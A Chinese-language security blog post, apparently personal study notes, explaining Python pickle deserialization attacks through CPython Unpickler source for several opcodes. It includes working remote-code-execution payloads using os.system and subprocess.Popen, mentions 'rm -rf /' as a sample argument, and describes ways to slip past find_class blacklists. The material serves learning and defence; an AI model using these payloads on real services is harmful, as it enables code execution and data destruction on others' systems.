5
6
7
8
9
10
11
12
13
def find_class(self, module, name):
    # Subclasses may override this.
    sys.audit('pickle.find_class', module, name)
    if self.proto < 3 and self.fix_imports:
        if (module, name) in _compat_pickle.NAME_MAPPING:
            module, name = _compat_pickle.NAME_MAPPING[(module, name)]
        elif module in _compat_pickle.IMPORT_MAPPING:
            module = _compat_pickle.IMPORT_MAPPING[module]
    __import__(module, level=0)
    if self.proto >= 4:
        return _getattribute(sys.modules[module], name)[0]
    else:
        return getattr(sys.modules[module], name)

c操作符把final_class()函数返回的一个类对象压入栈，通过__inport__()引入了模块并且通过self.proto判断pickle版本处理了不同版本的函数名称问题

R操作符

源码

1
2
3
4
5
6
7
def load_reduce(self):
    stack = self.stack
    args = stack.pop()#栈顶的元组出栈,把元组赋值给args
    func = stack[-1]
    #stack[-1]是出栈操作,索引值为-1代表最后一个进入列表的元素(反向索引)
    stack[-1] = func(*args)#func出栈,func的返回值进栈
    #'*'操作符用作解包,把元组里的元素作为未知参数传递给func

利用R操作符构造payload模板

1
2
3
4
c<module>
<callable>
(<args>
tR.
  • c
    • pickle指令：global指令
    • 作用：用于加载模块、类、可调用对象（不如os.system）
  • <module>
    • 作用：要加载的模块名（不如os）
  • <callable>
    • 作用：模块中的可调用对象（比如 system）
  • (
    • pickle指令：mark指令
    • 作用：标记参数开始
  • <args>
    • 作用：传给可调用对象的参数（比如whoami或rm -rf /）
  • t
    • pickle指令：tuple指令
    • 作用：把栈中的参数打包成元组
  • R
    • pickle指令：reduce指令，核心指令
    • 作用：执行challenge(*args)即调用函数并传参
  • .
    • pickle指令：stop指令
    • 作用：结束执行

示例

1
2
3
4
5
6
7
cos
system #用c操作符引入os.system,也就是把os.system压入栈
(S'ls' #先把MARK压入栈,再把ls压入栈
tR. #t操作符把ls出栈,元组(ls)入栈
    #R操作符把元组作为os.system的参数传入并执行
<=> __import__('os').system(*('ls',))

o操作符

1
2
3
4
5
def load_obj(self):
    # Stack is ... markobject classobject arg1 arg2 ...
    args = self.pop_mark()
    cls = args.pop(0)
    self._instantiate(cls, args)

寻找栈中的MARK，以之间的第一个数据（必须为函数）为callable，第二个到第n个数据为参数，执行该函数（或实例化一个对象）

i操作符

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
def load_inst(self):
    # 1. 读取模块名：从字节码中读一行，去掉末尾换行符(\n)，解码为 ASCII 字符串
    #    比如字节码中是 b"__main__\n"，读出来后就是 "__main__"
    module = self.readline()[:-1].decode("ascii")
    
    # 2. 读取类名：同理，读取类的名称
    #    比如字节码中是 b"Secret\n"，读出来后就是 "Secret"
    name = self.readline()[:-1].decode("ascii")
    
    # 3. 找到对应的类：调用 find_class 方法，根据模块名+类名加载类对象
    #    这一步是风险核心！如果能加载任意类（比如 subprocess.Popen），就可能 RCE
    klass = self.find_class(module, name)
    
    # 4. 实例化类：
    #    - self.pop_mark()：弹出栈中 MARK 标记后的参数（类的 __init__ 参数）
    #    - _instantiate：调用 klass(*参数) 创建类实例
    self._instantiate(klass, self.pop_mark())
  • self.find_class(module, name)：执行__import__(module)加载模块，再去模块中的name属性（即类或函数）
  • self.pop_mark()：pickle用栈存储数据，pop_mark()会取出从最近一个MARK（(操作符）到当前栈顶的所有数据，作为实例化的参数
  • self._instantiate(klass,args)：等价于执行klass(*args)，创建类的实例

示例

正常实例化自定义类
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import pickle
import pickletools

class Secret:
    def __init__(self, name):
        self.name = name

# 构造 i 操作符的 pickle 字节码（正常场景）
# 逻辑：实例化 __main__.Secret，参数是 "S1nKk"
normal_opcode = b"""i__main__
Secret
(S'S1nKk'
t."""

# 反序列化
obj = pickle.loads(normal_opcode)
print("正常实例化结果：", obj.name)  # 输出：S1nKk

# 解析字节码
print("\n=== 正常场景字节码解析 ===")
pickletools.dis(normal_opcode)

正常情况下，i操作符加载__main__.Secret，传入参数’S1nKk’，实例化出Secret对象

恶意利用i操作符实现rce
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import pickle
import pickletools

class Secret:
    def __init__(self, name):
        self.name = name
        
# 构造恶意字节码（利用 subprocess.Popen 执行系统命令）
# 逻辑：实例化 subprocess.Popen，参数是 ('whoami',)
malicious_opcode = b"""isubprocess
Popen
(S'whoami'
t."""

# 执行反序列化（会执行 whoami 命令）
try:
    pickle.loads(malicious_opcode)
except Exception as e:
    print(f"恶意执行结果（异常不影响命令执行）：{e}")

# 解析字节码
print("\n=== 恶意场景字节码解析 ===")
pickletools.dis(malicious_opcode)

恶意构造代码后，i操作符加载subprocess.Popen，传入参数whoami，执行后会执行RCE

b操作符

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
def load_build(self):
        stack = self.stack
        state = stack.pop()
        # 首先获取栈上的字节码 b 前的一个元素，对于对象来说，该元素一般是存储有对象属性的dict
        inst = stack[-1]
        #获取该字典中键名为"__setstate__"的value
        setstate = getattr(inst, "__setstate__", None)
        #如果存在，则执行value(state)
        if setstate is not None:
            setstate(state)
            return
        slotstate = None
        if isinstance(state, tuple) and len(state) == 2:
            state, slotstate = state
        #如果"__setstate__"为空，则state与对象默认的__dict__合并，这一步其实就是将序列化前保存的持久化属性和对象属性字典合并
        if state:#如果state不是False,None,0或者非空序列,就步入
            inst_dict = inst.__dict__
            intern = sys.intern
            for k, v in state.items():
                if type(k) is str:
                    inst_dict[intern(k)] = v
                else:
                    inst_dict[k] = v
        #如果__setstate__和__getstate__都没有设置，则加载默认__dict__
        if slotstate:
            for k,v in slotstate.items():
                setattr(inst, k, v)
    dispatch[BUILD[0]] = load_build

b操作的用法

  • 向一个实例中插入属性，或覆盖属性
  • 以一个实例的__setstate__属性func，b的前一个元素当作arg，执行func(arg)

b操作符的工作方式

  • 弹栈，这里的元素是state
  • 取栈顶元素，此元素为setstate,此元素可以是一个实例也可以是一个字典，如果是实例，就会尝试获取这个实例的__setstate__属性的值
  • __setstate__存在执行setstate(state)
  • __setstate__不存在
    • 判断state类型，若是元组,并且元组中只有两个元素，那么就按顺序给state和字典中的键值对给inst.__dict__更新属性的值
    • 如果slotstate是一个字典，那么根据slotstate的键值对给inst更新属性的值
  • 如果不是元组，那么就根据state字典中的值更新inst.__dict__的值

因为存在这个功能，b操作符就可以用来进行命令执行

1
2
3
if setstate is not None:
            setstate(state)
            return

b操作符使用模板

1
b'c__main__\ns1nk\n)\x81}X\x0C\x00\x00\x00__setstate__cos\nsystem\nsbX\x06\x00\x00\x00whoamib.'

函数黑名单绕过

重写find_class()

思路一 获取危险函数

绕过显式字符串检测

v操作符可以进行unicode编码

1
2
Vsecr\u0065t
#secret

s操作符可以识别十六进制

1
2
S'\x73ecret'
#secret

使用内置函数绕过

这里涉及到一对概念：可迭代对象和迭代器，最经典的迭代器就是python的for循环

1
2
for i in iterator
    ......

python中的可迭代对象

序列类型

  • 列表(List)：[1，2，3，4，5]
  • 元组(Tuple)：(1，2，3)
  • 字符串(String)：”Hello World”

映射类型

  • 字典：{1:’One’,2:’Two’}
  • Tip：字典本身是不可迭代的（字典迭代实质上是迭代其键，使用keys()，values()或items()方法可以分别迭代键、值或键值对），但在python3.3开始，字典也成为了可迭代对象，迭代时会返回其键

集合类型

  • 集合（Set）：{1,2,3}
  • 不可变集合（frozenset）：frozenset({1,2,3})

迭代器类型

  • 自定义迭代器类（实现__iter__和__next__()方法）
  • 内置迭代器对象，如range(5)或者iter()函数创建的迭代器

文件对象

  • 打开的文本文件或二进制文件，可通过逐行读取进行迭代

生成器表达式

  • (x*x for x in range(5))

其他内置可迭代对象

  • enumerate对象(enumerate(list))
  • zip对象(zip(list1,list2))
  • reversed对象(rebersed(list))

只要一个对象实现了 __iter__() 方法且该方法返回一个迭代器对象，那么这个对象就被认为是可迭代的。在Python中，可以使用 isinstance(obj, collections.abc.Iterable) 来检查一个对象是否是可迭代的

参考payload

1
2
3
4
5
6
7
8
9
10
next(dir(sys.modules['os']))
 TypeError: 'list' object is not an iterator
#如果直接运行这个的话会抛出一个TypeError: 'list' object is not an iterator
#原因是虽然list是可迭代的,但是他并不是一个迭代器,他并没有__call__函数
>>> next(iter(dir(sys.modules['os'])))
'DirEntry'
#这才是正确的payload
#如果想倒着遍历这个列表的话,可以使用reversed()这个函数
>>> next(reversed(dir(sys.modules['os'])))
'write'

使用类的__new__()构造方法绕过

1
NEWOBJ = b'\x81'#(这个很有用)  #从栈中弹出两次变量,第一次弹出的变量记为var1,第二次弹出的变量记为var2,然后就会通过cls.__new__(var2, *var1)生成实例化对象,然后将生成的对象压栈

可以触发类的__new__()函数的，所以在某些时候可以寻找可用的__new__()方法进行绕过

使用map(),filter()函数绕过

这两个函数时python的内置函数

map()

1
2
3
4
map(function, iterable, ...)

#function:函数
#iterable：一个或多个序列

返回一个将 function 应用于 iterable 的每一项，并产生其结果的迭代器。 如果传入了额外的 iterables 参数，则 function 必须接受相同个数的参数并被用于到从所有可迭代对象中并行获取的项。 当有多个可迭代对象时，当最短的可迭代对象耗尽则整个迭代将会停止

filter

1
2
3
4
filter(function, iterable)

#function:函数
#iterable：一个或多个序列

使用 iterable 中 function 返回真值的元素构造一个迭代器。 iterable 可以是一个序列，一个支持迭代的容器或者一个迭代器。 如果 function 为 None，则会使用标识号函数，也就是说，iterable 中所有具有假值的元素都将被移除

这两个函数都返回一个迭代器，所以我们需要使用list()函数将其变为一个列表输出

payload

1
2
map(eval,[__import__("os").system("whoami")])
list(map(eval,['__import__("os").system("whoami")']))

map()和filter()创造的迭代器有一个叫做”懒惰”的特性,也就是需要迭代一次,才能让func调用iterator里的值.所以我们就需要使用__next__()方法对map()创建的迭代器进行迭代

漏洞学习笔记 > Python
#pickle
pickle反序列化
https://colourful228.github.io/2026/03/10/pickle反序列化/
作者
Colourful
发布于
2026年3月10日
更新于
2026年3月14日
许可协议